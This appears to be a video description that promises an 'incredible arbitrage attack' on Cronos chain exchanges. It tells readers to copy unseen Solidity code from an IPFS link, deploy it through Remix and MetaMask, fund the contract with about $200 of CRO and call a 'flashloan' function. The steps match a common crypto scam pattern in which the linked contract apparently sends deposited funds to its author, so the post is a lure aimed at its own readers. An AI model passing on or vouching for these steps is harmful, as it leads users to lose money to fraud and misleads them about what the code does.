Crypto.com - CRO Cronos Chain: Incredible Arbitrage Attack Using Solidity and Remix

1 year ago
41

Today I will show you how to setup a arbitrage attack using two DEX's; CroDex and VVS Finance. First make sure metamask is connected to Cronos chain and you have some CRO to cover gas fees....

*****NOTE: "Web 3 Injected" is now "Injected Provider" in Remix.

REMEMBER : In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask, otherwise it will not work.

***Note: CRO must be withdrawn to ‘Cronos Chain’. which is EVM/Metamask compatible chain

Setup Metamask to connect to Cronos Mainnet – https://cronos.crypto.org/docs/getting-started/metamask.html#connecting-to-the-cronos-mainnet-beta

Smart Contract Code Link – https://gateway.pinata.cloud/ipfs/QmThLGu3ma4qUvoPnGGMoERgJFTtJWjfCZLaWqhuzGXqRZ

Remix Link – http://remix.ethereum.org/

CroDex - https://swap.crodex.app/

VVS Finance - https://vvs.finance/

Arbitrage Explanation - https://academy.binance.com/en/articles/what-is-arbitrage-trading

STEPS:

Before starting, install and setup MetaMask in Chrome Browser.

1. Open and setup Remix in browser (https://remix.ethereum.org)

2. Copy the Contract code (https://gateway.pinata.cloud/ipfs/QmThLGu3ma4qUvoPnGGMoERgJFTtJWjfCZLaWqhuzGXqRZ)

3. Create new file in Remix and paste Contract code and wait for everything to load, Go to Solidity Compiler and Select compiler to 0.5.0+commit version and hit Compile.

4. In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask. On Deploy, Enter your token details and deploy the contract

5. Get the Contract address from Remix

6. Send 200$ish of CRO to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools.

7. Call ‘flashloan’ function in Remix.

Loading comments...